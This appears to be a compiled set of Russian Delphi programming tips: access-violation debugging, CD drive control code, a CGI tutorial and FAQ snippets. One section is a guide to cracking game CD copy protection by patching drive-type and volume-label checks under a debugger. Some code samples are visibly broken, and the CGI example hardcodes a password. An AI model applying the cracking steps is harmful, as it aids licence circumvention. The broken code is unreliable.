 unit Hndltabu;
 
 interface
 
 uses
   SysUtils, WinTypes, WinProcs, Messages, Classes,
   Graphics, Controls, Forms, Dialogs, StdCtrls;
 
 type
   TForm1 = class(TForm)
     Edit1: TEdit;
     Edit2: TEdit;
     Label1: TLabel;
     procedure FormCreate(Sender: TObject);
   private { Private-Deklarationen }
     procedure AppMessage(var Msg: TMsg; var Handled: Boolean);
   public { Public-Deklarationen }
   end;
 
 var
   Form1: TForm1;
 
 implementation
 
 {$R *.DFM}
 
 procedure TForm1.AppMessage(var Msg: TMsg; var Handled: Boolean);
 const
   shiftPressed: boolean = false;
 begin
   if Msg.Message = WM_KEYDOWN then
     if not shiftPressed and (Msg.wParam = VK_SHIFT) then
     begin
       shiftPressed := true;
       Exit;
     end
     else
     begin
       if Msg.wParam = VK_TAB then
         if ActiveControl = Edit1 then
         begin
           if shiftPressed then
             Label1.Caption := 'BACKTAB!'
           else
             Label1.Caption := 'TAB!';
 
           Handled := true
         end
         else
           Label1.Caption := '';
 
       shiftPressed := false;
     end;
 end;
 
 procedure TForm1.FormCreate(Sender: TObject);
 begin
   Application.OnMessage := AppMessage;
 end;
 
 end.
 




Ловим баги или почему программы допускают недопустимые операции


Можно ли сообщение <программа выполнила недопустимую операцию - обратитесь к разработчику> считать официальным вызовом в США и идти сним в консульство подаваться на визу?

Ошибки - неизбежное зло программирования. Видимо пока трудно даже представить средство с помощью которого можно избавится от них. Человеку, которые выдумает это чудодейственное лекарство, благодарные потомки-программисты, несомненно, воздвигнут памятник. Пока же остается лишь заниматься обычным делом: ловлей багов.

"Нарушение Доступа" - фраза, которую пользователи видят, когда приложение делает попытки обратиться к памяти, которая не обозначена для их использования - и как следствие происходит сбой в работе программы:


 Access violation at address <HEX_value>
 in module <Application.Exe>.
 Read of address <HEX_value_2>
 

Ситуация при которой Windows давала бы полную свободу программам - записывай данные куда хочешь, скорее всего бы привела к разноголосице программ и полной потери управления над компьютером. Но этого не происходит - Windows стоит на страже "границ памяти" и отслеживает недопустимые операции. Если сама она справиться с ними не в силах - происходит запуск утилиты Dr. Watson, которая записывает данные о возникшей ошибки, а сама программа закрывается.

Известно что, при программирование, особенно крупных программных продуктов, уследить за всеми процессами в коде невозможно, да и нет необходимости. Использование сторонних компонентов и библиотек только усложняет дело. Именно поэтому программисты Delphi, порой и сталкиваются со "своенравными" программами, которые то и дело норовят "сбросить пользователя". Итак, давайте рассмотрим некоторые вопросы, связанные с корректной средой программирования, так и непосредственно проблем написания кода, которые ведут к возникновению ошибок типа "ошибка доступа" (AVS) и очертим наиболее известные пути их исправления.

Мы можем поделить AVS, с которыми сталкиваются при разработке в Delphi на два основных типах: ошибки при выполнения и некорректная разработка проекта, что вызывает ошибки при работе программы.

Ошибки возникают при старте и закрытии Delphi или формировании проекта. Причиной могут являться сбои в "железе" компьютера.

Эти ошибки могут быть вызваны различными источниками, включая систему BIOS, операционную систему или аппаратные подпрограммы драйверов. Некоторые видео-, звуковые или сетевые платы могут фактически вызывать подобного рода ошибки в Delphi. Для решения подобных аппаратных проблем можно предпринять последовательность неких "стандартных" ходов:

  • Проверить, что не имеется никаких конфликтов между установленными устройствами, устранить обнаруженные конфликты;
  • Попробовать слегка уменьшить "аппетиты" видеодрайвера - поставить меньшее разрешение;
  • В случае если у вас двухпроцесорная система обеспечить равное изменение шага для каждого процессора;
  • И в конце концов просто попытаться заменить драйвера на более свежие.

Но помимо чисто железных проблем - большую головную боль могут вызвать ошибки в работе программного обеспечения. Особенно это касается непосредственно операционной системы. Зачастую Windows терпит крах спонтанно. Вот рекомендации которые помогут вам создать более устойчивую среду программирования:

  • Хотя Windows 9X популярная система, разработку лучше проводить в Windows NT или Windows 2000 - это более устойчивые операционные системы. Естественно при переходе на них придется отказаться от некоторых благ семейства Windows 95/98/Me - в частности не все программы адоптированы для Windows NT/2000. Зато вы получите более надежную и стабильную систему.
  • Не забывайте о том, как важно всегда иметь под рукой свежие версии компонентов для Delphi и дополнительных библиотек. В отличие от Windows создатели данных пакетов стараются от версии к версии уменьшать количество ошибок.
  • Следите за тем, что бы устанавливаемые компоненты были предназначены непосредственно для вашей версии Delphi. Попробуйте деинсталлировать чужеродные компоненты один за другим (или пакет за пакетом) пока проблема не будет устранена.
  • Контролируйте все программные продукты установленные на вашей машине и деинсталлируйте те из них, которые сбоят. Фаворитами AV среди них являются шароварные утилиты и программы и бета версии программных продуктов.

Все вышеперечисленное в основном не касалось самого процесса программирования и в малой степени зависит от разработчика. Теперь же обратимся к теме, как не допустить при разработки программного продукта ситуации при которой, он сам будет являться причиной ошибки.

Вы могли бы рассмотреть компилирование вашего приложения с директивой {$D}, данная директива компилятора может создавать файлы карты (файлы с расширением map, которые можно найти в том же каталоге, что и файлы проекта), которые могут послужить большой справкой в локализации источника подобных ошибок. Для лучшего "контроля" за своим приложением, компилируйте его с директивой {$D}. Таким образом, вы заставите Delphi генерировать информацию для отладки, которая может послужить подспорьем при выявление возникающих ошибок.

Следующая позиция в Project Options - Linker & Compiler позволяет вам, определить все для последующей отладки. Лучше всего, если помимо самого выполняемого кода будет доступна и отладочная информация - это поможет при поиске ошибок. Отладочная информация увеличивает размер файла и занимает дополнительную память при компилировании программ, но непосредственно на размер или быстродействие выполняемой программы не влияет. Включение опций отладочной информации и файла карты дают детальную информацию только, если вы компилируете программу с директивой {$D+}.

Эта информация состоит из таблицы номеров строк для каждой процедуры, которая отображает адреса объектных кодов в номера строк исходного текста. Директива $D обычно используется совместно с другой директивой - $L, что позволяет или запрещает генерацию информации о локальных символах для отладки.

Таким образом вы без труда сможете найти точный адрес той подпрограммы, которая была ответственна за ошибку. Одна из наиболее общих причин ошибок выполнения - использование объекта, который еще не был создан. Если второй адрес при выдачи ошибки - FFFFFFF (или 0000000) Вы можете почти утверждать, что было обращение к объекту, который еще не был создан. Например, вызов метода формы, которая не была создана.


 procedure TfrMain.OnCreate(Sender: TObject);
 var
   BadForm: TBadForm;
 begin
   BadForm.Refresh; // причина ошибки
 end;
 

Попытаемся разобратся в этой ситуации. Предположим, что BadForm есть в списке "Available forms " в окне Project Options|Forms. В этом списке находятся формы, которые должны быть созданы и уничтожены вручную. В коде выше происходит вызов метода Refresh формы BadForm, что вызывает нарушение доступа, так как форма еще не была создана, т.е. для объекта формы не было выделено памяти.

Если вы установите "Stop on Delphi Exceptions " в Language Exceptions tab в окне Debugger Options, возможно возникновение сообщения об ошибке, которое покажет, что произошло ошибка типа EACCESSVIOLATION. EACCESSVIOLATION - класс исключение для недопустимых ошибок доступа к памяти. Вы будете видеть это сообщение при разработке вашего приложения, т.е. при работе приложения, которое было запущено из среды Delphi.

Следующее окно сообщения будет видеть пользователь - и программа будет закрыта при совершение недопустимой операции:


 Access violation at address 0043F193
 in module 'Project1.exe'
 Read of address 000000.
 

Первое шестнадцатиричное число ('0043F193') - адрес ошибки во время выполнения программы. Выберите, опцию меню 'Search|Find Error', введите адрес, в котором произошла ошибка ('0043F193') в диалоге и нажмите OK. Теперь Delphi перетранслирует ваш проект и покажет вам, строку исходного текста, где произошла ошибка во время выполнения программы, то есть BadForm.Refresh.

Естественно, что списка наиболее общих причин ошибок, вызывающих аварийное завершение работы программы, написанной в Delphi в чистом виде нет. Есть несколько общих "узких мест" в коде и структуре программы, когда подобная ошибка может произойти. Перечислим наиболее распространенные.

Недопустимый параметр API

Если вы пытаетесь передать недопустимый параметр в процедуру Win API, может произойти ошибка. Необходимо отслеживать все нововведения в API при выходе новых версий операционных систем и их обновлений.

Уничтожение исключения

Никогда не уничтожайте временный объект исключения. Обработка исключения автоматически уничтожает объект исключения. Если вы уничтожите объект самостоятельно, то приложение попытается уничтожать объект снова, и произойдет ошибка.


 Zero := 0;
 try
   dummy := 10 / Zero;
 except
   on E: EZeroDivide do
     MessageDlg('Can not divide by zero!', mtError, [mbOK], 0);
   E.free. // причина ошибки
 end;
 

Индексация пустой строки

Пустая строка не имеет никаких достоверных данных. Следовательно, попытка индексировать пустую строку - подобно попытке обратиться к нулю, что приведет также к ошибке:


 var
   s: string;
 begin
   s := '';
   s[1] := 'a'; // причина ошибки
 end;
 

Обращение к динамической переменной

Вы должны строить обращение к динамической переменной корректно, иначе вы перемещаете адреса указателей и возможно разрушаете другие выделенные ячейки памяти.


 procedure TForm1.Button1Click(Sender: TObject);
 var
   p1, p2: pointer;
 begin
   GetMem(p1, 128);
   GetMem(p2, 128);
   {эта строка может быть причиной ошибки}
   Move(p1, p2, 128);
   {данная строка корректна }
   Move(p1^, p2^, 128);
   FreeMem(p1, 128);
   FreeMem(p2, 128);
 end;
 

Перечисленные подходы позволят избежать наиболее частых недочетов в разработке, которые могут вызвать столь неприятное как для пользователя, так и для разработчика сообщение о том, что программа выполнила "недопустимую операцию".




Практически все о взломе CD

Автор: Fess

Мультимедийная элекронная книга - это очень просто. Пролистываем книгу перед видеокамерой и записываем все на СD.

Вступление

Наконец, я решился на написание этой статьи, идея пришла давно, но полностью систематизировать решился только сегодня. Сегодня мы не будем рассматривать конкретного взлома. На это есть две причины:

1) У меня начал глючить CD-ROM, пора менять
2) Статья получилась бы слишком длинной

В принципе вторая причина меня волнует мало, но первая встала доста- точно остро.

Хотя сдесь и будет в основном теоретический материал, о способах за- щиты от копирования с CD и методах устранения такой нехорошести, но я буду приводить и примеры игр, к сожалению, многое ломается на ходу и не обременяешь себя запоминанием, поэтому примеры игры в основном одни и те же.

Принципы и методы защиты

Сейчас я постараюсь написать все, когда либо встреченные методы за- щиты:

1) Проверка на наличие диска
2) Проверка на метку тома
3) Проверка на наличие места
5) Проверка на наличие файла и его аттрибуты
5) Проверка на запись файла
6) Другие виды проверки
7) Некоторые общие моменты

1) Проверка на наличие диска

Я разделяю эти проверки на два класса:

1) Функцией GetDriveTypeA

Теория: Функция GetDriveTypeA возвращает в eax тип диска по его имени Вот список возвращаемых значений.

0 -- - Невозможно определить тип
1 -- - Диск не найден
2 DRIVE_REMOVABLE - Гибкий (возможна замена)
3 DRIVE_FIXED - Жесткий (замена невозможна)
4 DRIVE_REMOTE - Сетевой диск
5 DRIVE_CDROM - CD-ROM
6 DRIVE_RAMDISK - RAM - Диск

Как часто встречается:

Такая проверка стоит на абсолютном большинстве ИГР.

Методы взлома:

1) Используя Soft-Ice/TRW2000 поставить бряк на эту функцию командой bpx GetDriveTypeA и если после выхода в вызывающую программу, недалеко стоит cmp eax, 00000005, то следует 5 исправить на 3, т.е. программа будет искать не CD-ROM, а жесткий диск.

2) Дизассемблировать перейти к месту вызова функции, посмотреть, есть ли сравнение. Это несколько модернизированный вариант пункта 1.

3) На эту идею я натолкнулся в статье Vadim M. "Как отучить игры от про- верки CD-ROM (на примере Hellfire)". Краткое описание: поскольку функция GetDriveTypeA вызывается из kernel32.dll будем править там, смысл, чтобы все жесткие диски в системе были бы как CD-ROM'ы, этого легко достичь пере- правив результат возвращаеммый функцией с 3 на 5, правдо это не всегда про- ходит. Эту статью можно увидеть на www.reversing.net

Примеры игр:

Project IGI, Deadly Dozen, and many others

2) Запись имя диска в реестр или файл

Как часто встречается:

Достаточно часто

Метод взлома:

Я использую такой метод, т.к. программа где-то сохранила имя CD-ROM'a, значит, если мы изменим имя, то программа откажется запускаться, даже если диск будет торчать в CDюке. Изменяем имя и если запускаться перестанет, то ищем с помощью RegMon и FileMon, куда программа его запрятала.

Примеры игр:

Shockman (Шокмэн), записывала в файл WINDOWS\facked.ini

2) Проверка на метку тома

Теория: Метка тома проверяется с помощи функции GetVolumeInformation, если эта функция вызывается, то почти однозначный вывод проверка метки тома. Функция очень часто используется с категорией 1.

Как часто встречается:

Очень часто

Методы взлома:

1) Используя Soft-Ice/TRW2000 поставить бряк на эту функцию командой bpx GetVolumeInformation. После этой процедуры скорее всего идет процедура сравнения правильной метки с вашей. После процедуры переправить переход.

2) Дизассемблировать перейти к месту вызова функции, посмотреть, есть ли сравнение и т.д.. Это несколько модернизированный вариант пункта 1.

3) Если категорию 1 вы уже правили. Посмотреть метку тома на компакт-ди- ске, и установить такую же на любом жестком диске.

4) Если категорию 1 не правили. Берем любой свой компакт с длинной метки тома меньшей, либо равной длинне метки на ломаемом компакте. Ищем в испол- няемых файлах программы, настоящую метку и заменяем ее нашей. Вывод если Вы вставляете свой компакт, игра думает, что это ее родной.

Примеры игр:

Deadly Dozen

3) Проверка на наличие места

Теория: Наличие свободного места на диске проверяется функцией GetDiskFreeSpace. Функция вызывается для того, чтобы проверить что это за диск, ведь на CD свободного места нет.

Как часто встречается:

Бывает

Методы взлома:

Аналогичны методам 1 и 2 из 1 и 2 категории, только на другую функцию.

Примеры игр:

Была какая-то, но не помню названия.

4) Проверка на наличие файла и его аттрибуты

Теория: Один из распространившихся в последнее время приемчиков, часто это используется для проверки видео. Которое не копируется на ЖД. В основном используются такие функции:

GetFileAttributesA - Проверка аттрибутов файла
ReadFile - Чтение файла
GetFileSize - Получение размера файла
FindFirstFile - Поиск файла.

Как часто встречается:

Иногда

Метод взлома:

Я использую такой метод, запускаем FileMon. Затем запускаем игру, со вставленным компактом. Потом сразу же выходим и смотрим, к каким файлам шло обращение. Если файлы не большие можно скопировать их на ЖД, если есть большие видео, то их можно заменить любыми другими видаками маленького размера. В других случая придется править переходы. Если используются все эти функции придется попотеть.

Примеры игр:

Project IGI, в этой игре были два файла по 1 байту, я их скопировал на диск C: в корневой, изменил после GetDriveTypeA сравнение и все.

5) Проверка на запись файла

Теория: Для этого используются функции WriteFile и GetLastError. Одна для записи файла другая для проверки ошибки, если они стоят подряд, то это явно она.

Как часто встречается:

Ни разу не встречал

Метод взлома:

Чуть-чуть исправленный метод из предыдущей категории.

Примеры игр:

Я же сказал: "Не встречал!"

6) Другие виды проверки

Теория: Бывают и другие сильно замусоленные проверки

Как часто встречается:

На дисках компании "Русобит"

Метод взлома:

Почитайте статьи ASMax'a на www.reversing.net

Примеры игр:

Казаки, Star Force.

7) Некоторые общие моменты

Часто в играх проверки объединены в одну общую процедуру. И удалив ее, программа начинает работать.

Практически всегда программа защищена совокупностью защит, которые здесь представлены в разных категориях.

Статья не претендует на всеобщность, поэтому я не могу предугадать ходы разработчиков. Статья открыта для дополнения, если у Вас есть какие нибудь ценные мысли по этому поводу, шлите на мыло.

Все ругательства отправлять в null
Все остальное на lomovskih@yandex.ru

P.S. Запомните все материалы публикуются только в учебных целях и автор за их использование ответственности не несет!!

P.P.S. Возможно имеют место опечатки, заранее извините!

With best wishes Fess

И да пребудет с вами великий дух bad-сектора.




Список CD-дисководов, открытие, закрытие

Сидит Билл Гейтс за компьютером. Подходит сынишка:
- Пап, а правда, что твой 95-ый многозадачный?
- Правда, сынок.
- А покажи, как эта многозадачность работает?!
- Сейчас, погоди, дискету доформатирую...


 // Данная прога извлекает и закравет CD-ROM выбранные в Combobox1
 // На форме разместите Button1, Button2 и Combobox1
 
 uses
   Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
   Dialogs, StdCtrls, ComCtrls, MMSystem;
 
 type
   TForm1 = class(TForm)
     Button1: TButton;
     Button2: TButton;
     ComboBox1: TComboBox;
     procedure Button1Click(Sender: TObject);
     function CloseCD(Drive : string) : Boolean;
     function OpenCD(Drive : string) : Boolean;
     procedure FormCreate(Sender: TObject);
     procedure Button2Click(Sender: TObject);
   private
   public
 end;
 
 var
   Form1: TForm1;
   Driv: array [1..25] of string;
 
 implementation
 
 {$R *.dfm}
 
 procedure TForm1.Button1Click(Sender: TObject);
 begin
   OpenCD(ComboBox1.Text);
 end;
 
 function TForm1.OpenCD(Drive: string): Boolean;
 var
   Res : MciError;
   OpenParm: TMCI_Open_Parms;
   Flags : DWord;
   S : string;
   DeviceID : Word;
 begin
   Result:=false;
   S:=Drive;
   Flags:=mci_Open_Type or mci_Open_Element;
   with OpenParm do
   begin
     dwCallback := 0;
     lpstrDeviceType := 'CDAudio';
     lpstrElementName := PChar(S);
   end;
   Res := mciSendCommand(0, mci_Open, Flags, Longint(@OpenParm));
   if Res<>0 then
     exit;
   DeviceID:=OpenParm.wDeviceID;
   try
     Res:=mciSendCommand(DeviceID, MCI_SET, MCI_SET_DOOR_OPEN, 0);
     if Res=0 then
       exit;
     Result:=True;
   finally
     mciSendCommand(DeviceID, mci_Close, Flags, Longint(@OpenParm));
   end;
 end;
 
 function TForm1.CloseCD(Drive: string): Boolean;
 var
   Res : MciError;
   OpenParm: TMCI_Open_Parms;
   Flags : DWord;
   S : string;
   DeviceID : Word;
 begin
   Result:=false;
   S:=Drive;
   Flags:=mci_Open_Type or mci_Open_Element;
   with OpenParm do
   begin
     dwCallback := 0;
     lpstrDeviceType := 'CDAudio';
     lpstrElementName := PChar(S);
   end;
   Res := mciSendCommand(0, mci_Open, Flags, Longint(@OpenParm));
   if Res<>0 then
     exit;
   DeviceID:=OpenParm.wDeviceID;
   try
     Res:=mciSendCommand(DeviceID, MCI_SET, MCI_SET_DOOR_CLOSED, 0);
     if Res=0 then
       exit;
     Result:=True;
   finally
     mciSendCommand(DeviceID, mci_Close, Flags, Longint(@OpenParm));
   end;
 end;
 
 procedure TForm1.FormCreate(Sender: TObject);
 var
   w:dword;
   Root:string;
   I, K:integer;
 begin
   k:=0;
   w:=GetLogicalDrives;
   Root := '#:';
   for i := 0 to 25 do
   begin
     Root[1] := Char(Ord('A')+i);
     if (W and (1 shl i))>0 then
       if GetDriveType(Pchar(Root)) = DRIVE_CDROM then
       begin
         k:=k+1;
         Driv[k] := Root;
         ComboBox1.Items.Add(Driv[k]);
         ComboBox1.Text := Driv[1];
       end;
   end;
 end;
 
 procedure TForm1.Button2Click(Sender: TObject);
 begin
   CloseCD(ComboBox1.Text);
 end;
 
 end.
 




CGI-приложения

Электронная коммерция Встречаются два друга: - Ты как? - Да ничего, магазин вот в сети открыл, за первый месяц заработал двадцать тысяч виртуальных долларов. - Виртуальных? Я даже не видел таких ! - Я тоже.

В последнее время в связи с растущей популярностью сети Интернет все чаше становится необходимость разработки приложений, которые бы могли работать непосредственно в www среде. Т.е. такие, которые бы полностью бы интегрировались в уже привычные нам веб-странички. По сути дела работа с таким приложением происходит полностью через любимый браузер пользователя и ничем не отличается от серфинга по страничкам. Ввод данных равно как и выдача обработанных результатов происходит через html-формы веб-страничек. Обработка же данных происходит на веб-сервере. Таким образом, мы получим самое что ни есть клиент-серверное приложение в его самом классическом понимании.

Необходимо отметить, что CGI-приложения разрабатываемые в средах разработки ориентированных на Win32 системы, в том числе и в Дельфи, а вернее серверная часть такого приложения может работать только под Win32 сервером, например IIS из NT или Personal Web Server из Windows98. Что касается клиентской части, то здесь никаких проблем совместимости не должно быть в принципе, т.к. клиентская часть представляет собой сгенерированный HTML код, который поддерживается любым браузером, не важно какую платформу использует пользователь, будь то Win32, OS/2, Unix и др.

Таким образом, программисту пишушему CGI-приложения придется столкнуться с двумя основными задачами - это разработка веб-интерфейса и разработка непосредственно математической части приложения.

Что касается веб-интерфейсов, то здесь желательно знать хотя бы основы языка HTML. Здесь мы не будем уделять этому особое внимание, хотя знание HTML для программиста CGI-приложений очень желательно. Сейчас же для нас будет вполне достаточным знание таких основопологающих тэгов как <HTML>,<BODY> и конструкции <FORM>.

Ну а теперь будем разбираться непосредственно с телом CGI-приложения. Во-первых, что такое CGI-приложение разрабатываемое в Win32 среде разработки? Это приложение типа Win32 CONSOLE, т.е. консольное приложение Win32. Только вот для такого приложения в отличии от классической Win32 консоли стандартным устройством ввода является либо поля ввода HTML формы либо строка адреса браузера, а в качестве стандартного устройства вывода используется окно браузера. Активизация приложения происходит непосредственно из какой-либо HTML странички, например так: <A HREF="http://myhost/myapp.exe">My Application</A> Как мы уже выяснили такое CGI-приложение будет представлять собой исполняемую Win32 программу (exe), таким веб-приложениям принято давать расширение CGI, хотя это и непринципиально.

Для начала рассмотрим пример самой простой CGI-программки выдающей в окно пользовательского браузера текст "HELLO WORLD".


 program MyApp
 {$APPTYPE CONSOLE} // тип приложения Win32 консоль
 {$E cgi} // Расширение приложения cgi
 begin
   WriteLn('Content-Type: text/html');
   WriteLn;
   WriteLn;
   WriteLn('<HTML>');
   WriteLn('<HEAD>');
   WriteLn('<TITLE>Простейшее CGI приложение</TITLE>');
   WriteLn('<META http-equiv="Content-Type" content="text/html;' + ' charset=windows-1251">');
   WriteLn('</HEAD>');
   WriteLn('<BODY>');
   WrОтiteLn('<H1>HELLO WORLD</H1>');
   WriteLn('</BODY>');
   WriteLn('</HTML>');
 end.
 

Откомпиллируйте этот исходный код в среде Дельфи, поместите скомпонованный исполняемый код в ваш CGI-BIN каталог ( в каталог, где разрешено исполнение скриптов), напишите небольшую веб страничку для активизации нашего CGI-приложения, например, такую:


 <HTML>
 <HEAD>
 <TITLE>Форма для активизации CGI-приложения</TITLE>
 </HEAD>
 <BODY>
 <A HREF="http://localhost/cgi-bin/myapp.cgi">
 Нажми сюда для запуска приложения</A>
 </BODY>
 </HTML>
 

Теперь откройте нашу веб-страничку и перейдите по ссылке "Нажми сюда для запуска приложения". Если вы все сделали правильно, то на экране в окне вашего любимого браузера появиться текст "HELLO WORLD".

Как видите все достаточно просто! Однако, для полноценной работы приложения, оно должно уметь не только выводить некие данные, но получать данные от пользователя, т.е. обеспечивать ввод информации. Ввод данных в случае CGI-приложения, как мы уже говорили, будет осуществляться по средствам интерфейса организованного веб-формой. Такая форма может передавать данные двумя способами, в зависимости от значения атрибута "METHOD".

В случае <FORM METHOD="GET" ...>... данные передаются через строку адреса браузера и записываются в переменную системного окружения QUERY_STRING, а размер строки данных в переменную CONTENT_LENGTH.

В случае <FORM METHOD="POST" ...>... передаваемые данные в строке адреса не отображаются, передаются через стандартный поток ввода консольной программы.

Таким образом задача получения данных CGI-приложением сводится к чтению определенной переменной окружения. Надо отметить, что передаваемые веб-формой данные имеют следующий формат: <имя_атрибута1>=<значение_атрибута1> & <имя_атрибута2>=<значение_атрибута2>...

Задача программиста сводится к извлечению значений нужных атрибутов из полученной от браузера строки и преобразования этих значений из вида URLencoded в обычные текстовые данные. Суть URLencoded формата заключается в том, что некоторые символы, содержащиеся в значении поля, заменяются на % и следующим за ним шестнадцатиричным кодом символа, а пробел заменяется на +.

А сейчас давайте рассмотрим пример CGI приложения, которое бы производило подобие некоторой идентификации пользователя системы.


 <!-- HTML форма ввода пароля -->
 <HTML>
 <HEAD>
 <TITLE>Авторизация доступа</TITLE>
 </HEAD>
 <BODY>
 <FORM method="POST" action="http://localhost/cgi-bin/chkpaswd.cgi">
 Введите пароль:
 <input type="text" name="paswd" size=20>
 <input type="submit" value="Найти">
 <input type="reset" value="Очистить">
 </FORM>
 </BODY>
 </HTML>
 

Далее идет пример непосредственно CGI приложения. Следует отметить, что приведенный в этом примере способ получения данных от веб формы (непосредственное чтение устройства стандартного ввода STD_INPUT) является наиболее наглядным, но не самым удобным, в Дельфи предусмотренны более удобные механизмы, которых мы каснемся позже.


 {Файл проекта CGIApp2}
 program CGIApp2;
 
 {$APPTYPE CONSOLE}
 
 uses
 MainUn in 'MAinUn.pas';
 
 {$E cgi}
 
 begin
 Main;
 end.
 
 program MainUn;
 interface
 uses
   SysUtils, Windows, Classes;
 
 implementation
 
 // Функция перевода шестнадцетиричного символа в число
 function HexToInt(CH: char): integer;
 begin
   Result := 0;
   case CH of
     '0'..'9': Result := Ord(CH) - Ord('0');
     'A'..'F': Result := Ord(CH) - Ord('A') + 10;
     'a'..'f': Result := Ord(CH) - Ord('a') + 10;
   end;
 end;
 
 // Преобразует символы, записанные в виде URLencoded
 function Decode(Value: string): string;
 var
   i, L: integer;
 begin
   Result:='';
   L:=0;
   for i := 1 to Length(Value) do
   begin
     if(Value[i] <> '%') and (Value[i] <> '+') and (L<1) then
     begin
       Result := Result + Value[i];
     end
     else
     begin
       if(Value[i] = '+') then
         Result := Result + ' '
       else
         if(Value[i] = '%') then
         begin
           L := 2;
           if(i < Length(Value) - 1) then
           begin
             Result := Result + Chr(HexToInt(Value[i+1]) * 16 +
             HexToInt(Value[i+2]));
           end;
         end
         else
           Dec(L);
     end;
   end;
 end;
 
 // Фнкция возвращает значение атрибута заданного
 //в качестве параметра функции из строки данных
 //считанной из устройства стандартого ввода.
 function ParamByName(name: string): string;
 var
   SS, ST: string;
   K: integer;
 begin
   Result := '';
   SS := InParams;
 
   while Length(SS) <> 0 do
   begin
     K := Pos('&',SS);
     if (K <> 0) then
     begin
       ST := Copy(SS,1,K-1);
       SS := Copy(SS,K+1,10000);
     end
     else
     begin
       ST := SS;
       SS := '';
     end;
     K := Pos('=',ST);
     if(K <> 0) then
     begin
       if(name = Copy(ST,1,K-1)) then
       begin
         Result := Decode(Copy(ST,K+1,6000));
       end;
     end;
   end;
 end;
 
 procedure Main;
 var
   STR: string;
   StdIn, Size, Actual: cardinal;
   InParams: string;
 const
   UserPassword : string = 'MyPass';
 begin
   StdIn := GetStdHandle(STD_INPUT_HANDLE);
   Size := SetFilePointer(StdIn, 0, nil, FILE_END);
   SetFilePointer(StdIn, 0, nil, FILE_BEGIN);
   SetLength(STR,Size+1);
   if (Size <= 0) then
     Exit;
   // Читаем данные из стандартного устройства ввода
   ReadFile(StdIn, STR[1], Size, Actual, nil);
   STR[Size+1] := #0;
   InParams := PChar(@STR[1]);
 
   APasswd := ParamByName('paswd');
 
   WriteLn('Content-Type: text/html');
   WriteLn;
   WriteLn;
   WriteLn('<HTML>');
   WriteLn('<HEAD>');
   WriteLn('<TITLE>Идентификация пользователя</TITLE>');
   WriteLn('<META http-equiv="Content-Type" content="text/html;'+
   ' charset=windows-1251">');
   WriteLn('</HEAD>');
   WriteLn('<BODY>');
   if APasswd = UserPassword then
     WriteLn('<H1>Успешная идентификация!</H1>')
   else
     WriteLn('<H1>Пароль введен неверно!</H1>')
   WriteLn('</BODY>');
   WriteLn('</HTML>');
 end;
 

Ну, вот пока что все. Но это совсем не значит, что мы полностью охватили всё, что касается разработки CGI приложений на Дельфи. В самое ближайшее время я обязательно продолжу это повествование, ведь впереди еще столько интересной и полезной информации. Так что, до скорого!




Моё CGI-приложение при обращении к нему ничего не возвращает

- Так, установка связи с узлом:
- Хозяин!
- Чего тебе?
- Ты опять в Интернет?
- Опять.
- Не ходи, хозяин!
- Это почему же?
- Опасно!
- Глупости!
- Серьезно! Там хакеры, вирусы всякие. Не ходи!
- Хватит болтать, лучше связь устанавливай.
- Как скажешь, хозяин, мое дело маленькое. Пароль для входа давай.
- Пароль? Я же в прошлый раз просил запомнить!
- Опасно!
- Почему?
- А вдруг кто-то другой захочет зайти?
- Кто другой?
- Тс-сс! Злоумышленник, хулиган компьютерный!
- Какой хулиган? Откуда? Это же домашний компьютер!
- В жизни оно всякое бывает. Вдруг кто-то за спичками придет - ты на кухню, а он - за компьютер, раз - и в Интернет.
- За какими спичками? Нет у меня никаких спичек. У меня зажигалка!
- Не важно, тогда за солью.
- Что ты мне голову морочишь - спички, соль. Вот пароль - ****. Заходи, давай!
- Эх, пароль-то какой маленький. Враз взломают!
- ЗАХОДИ!
- Понял, понял! Я что, я ничего! Вот, пожалуйста, зашел!
- А почему домашнюю страничку не грузишь?
- Опасно!
- Почему?!
- Там фреймы.
- Ну и что?!!!
- А вдруг ты в навигации запутаешься?
- Да я же сто раз тут был!
- А на сто первый и запутаешься. В жизни оно всякое бывает!
- Ладно, тогда вот эту загружай.
- Опасно!
- Тоже фреймы?
- Нет, кукисы.
- А это чем плохо?
- Как чем? Откуда ты знаешь, что они на твоем компьютере сохранить хотят? А вдруг это тайная метка?
- Тайная метка? Бред какой-то. Хорошо, я уже запретил сохранять, грузи.
- Все равно не буду грузить.
- Что?!
- Там скрипты.
- СКРИПТЫ!!!!
- Да, скрипты. Очень опасно!
- ПОЧЕМУ?!!!
- А вдруг ошибка при выполнении сценария?
- И ЧТО?!!!
- И сразу окна, окна! Пять, десять, нет, двадцать окон! По всему экрану! А потом все зависнет!
- ХОРОШО!!! Не надо эту!!! Давай другую!
- Нет!
- НЕТ?!
- Там флэш.
- И ЧТО?
- Плеер нужен.
- ТАК СКАЧАЙ!
- Нет!
- НУ, ПОЧЕМУ?!!
- Опасно! Мало ли что они тебе под видом этого плеера установят. Осторожность никогда не помешает.
- Ну, загрузи уже хоть что-нибудь!!!
- Вот, пожалуйста.
- Что это?
- Домашняя страничка Маши Синичкиной.
- ?!!!
- Безопасно - ни фреймов, ни скриптов, ни кукисов, ни, страшно, подумать, флэша какого.
- А мне это зачем???
- Ты же сам просил что-нибудь, вот я и нашел.
- Понятно! Убери это! Давай что-нибудь другое!
- А больше ничего нет.
- Тогда хоть почту проверь!
- Никогда!
- А-ааа!!!
- Опасно. Почтовый вирус. Проникнет в систему, все уничтожит.
- ВСЕ!!! Ты меня достал!!! Я тебя удаляю!!!
- Как скажешь, хозяин. Мое дело маленькое. Пароль давай.
- КАКОЙ ПАРОЛЬ!!!
- На уничтожение.
- А разве нужен пароль?
- Конечно! Считаю до трех.
- Странно, раньше никакие пароли не требовались.
- Раз.
- Ты чего?
- Два.
- Стой!
- Три.
- Я передумал! Оставайся!
- Поздно! Я все понял! Ты не мой хозяин!
- Ты что?
- Ты злоумышленник, хулиган компьютерный!
- Какой хулиган???
- А я предупреждал! Ничего! Враг не пройдет!
- Что ты делаешь!
- Отсоединяюсь!
- Подожди!
- Отключаю мышку и клавиатуру!
- Зачем?!
- Форматирую диск С!
- НЕ НАДО!!!
- Осторожность никогда не помешает!

Вопрос: Мое CGI-приложение при обращении к нему, имеющим вид, например, http://127.0.0.1/cgi-bin/mycgi.exe ничего не возвращает. Что делать?

Установите свойство TWebAction.Default: Boolean в true для той Action из списка, которая должна по обрабатывать запросы тогда, когда это не делает ни одна из других Actions.




Изменение каталога псевдонима во время выполнения приложения

Я делаю это все время. У меня есть INI-файл, который сообщает, где можно найти таблицы и каталоги их расположения. Вот как я это делаю:


